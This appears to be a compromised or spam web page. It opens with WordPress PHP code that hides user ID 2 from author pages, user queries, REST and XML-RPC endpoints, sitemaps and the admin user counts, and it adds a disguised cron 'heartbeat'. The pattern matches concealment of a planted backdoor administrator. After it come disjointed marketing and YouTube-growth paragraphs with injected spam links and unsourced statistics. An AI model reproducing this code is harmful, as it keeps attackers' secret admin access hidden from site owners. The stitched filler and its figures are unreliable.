add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
CPM is 2x higher in the US compared to global average, SimilarWeb 25% of creators use paid ads targeting specific keywords, YouTube Each statistic is checked by recalculating where possible, comparing with other independent sources, and assessing consistency.
“And with the disruption https://bodysmiles.com/how-to-market-to-doctors-physicians-step-1.html and opportunity that AI is bringing into the ecosystem, there is still lots of vital work ahead.” “The lesson of our 30-year history is that measurement, standards, and interoperability — as mundane as those things can sometimes sound — are what got this industry from zero to just shy of $300 billion,” continued Cohen. “While overall revenue is stronger than ever, consumer usage patterns have changed materially over the last year,” said Jack Koch, SVP, Research & Insights at IAB. As a result, the top 10 global media companies continue to hold the majority of internet advertising revenue share.
A generic “How to start a podcast” video competes with 150,000 others. Find out what people want to watch before you make anything. The usual advice to “post consistently” and “be authentic” is fine, but it leaves out the four problems below. Most strategies fail because creators skip https://antisnottv.net/2019/10/03/boost-sales-with-improved-graphic-design/ research.
By dividing channel-specific revenue by total revenue and expressing it as a percentage. It measures the percentage of total revenue generated by each marketing or sales channel. Comprehensive video marketing ROI, ad spend, and consumer preference data.
Your SEO decides whether people find your videos in search or scroll past them, because YouTube works as the world’s second-largest search engine. Script review then scores the script you wrote and shows where to improve it before you film. The first 15 seconds decide whether people watch or click away, and the rest decides whether they keep watching. Videos that compare products get 3x more views than single reviews. Study its content patterns to see what makes it work.
Plus, YouTube is developing new AI features for its users and creators, which will surely add something to YouTube’s growth. While Google relies heavily on search ads, YouTube provides a growing alternative stream that balances the company’s reliance on advertising. This year, the advertising revenue went up by 11.8% when compared to 2024, when the revenue was $36.1 billion.
Dow Jones Industrial Average, S&P 500, Nasdaq, and Morningstar Index (Market Barometer) quotes are real-time. To further protect the integrity of our editorial content, we keep a strict separation between our sales teams and authors to remove any pressure or influence on our analyses and research. We also respect individual opinions––they represent the unvarnished thinking of our people and exacting analysis of our research processes. We provide a platform for our authors to report on investments fairly, accurately, and from the investor’s point of view. We also sell both admissions and sponsorship packages for our investment conferences and advertising on our websites and newsletters. We sell different types of products and services to both investment professionals and individual investors.
Streaming continues to be a major growth lever. Search-driven views mean SEO is working; browse-driven views mean the algorithm is pushing the video to home feeds; suggested views mean the topic is adjacent to videos viewers already like. Use the audience retention report in the Engagement tab to find exactly where viewers drop off. If tutorials hold attention better than vlogs across the last 10 uploads, double down on tutorials before chasing a new format.
In 2026, Meta’s Business Messaging Report revealed that WhatsApp’s retail marketing adoption accelerated to 54.7% among mid-to-large retailers globally, with brands using WhatsApp broadcast campaigns reporting a 68% higher conversion rate than email for flash sale notifications, and average message read rates holding at 92% within the first four minutes of delivery. In 2026, Ascend2’s Multichannel Marketing Maturity Report found marginal improvement, with only 31% of marketers now rating their multichannel strategy as “very successful,” but highlighted that the primary barrier remains organizational silos, with 68% of underperforming teams lacking a unified attribution model that spans more than three channels simultaneously. In 2026, this trend has intensified further, with Salesforce’s State of Marketing report revealing that 91% of top-performing marketing teams now rate multichannel as their single most impactful strategy, up from 86% the prior year, driven by a 34% increase in cross-platform consumer touchpoints per buying journey. YouTube channel growth has become one of the most sought-after skills in digital marketing, with creators and businesses competing for attention in a platform that sees over 2 billion monthly logged-in users.
Published 4 months ago
The MSP 501’s top-performing providers will gather in record numbers at MSP Summit 2026. Media attending MSP Summit 2026 can request interviews with the report’s authors, MSP 501 honorees and participating MSP executives to discuss the findings and how AI is changing the economics of managed services. Eighty-nine percent of surveyed MSPs reported EBITDA margins of at least 6%, including 42% with margins above 15%, and 67% anticipate double-digit revenue growth in 2026.
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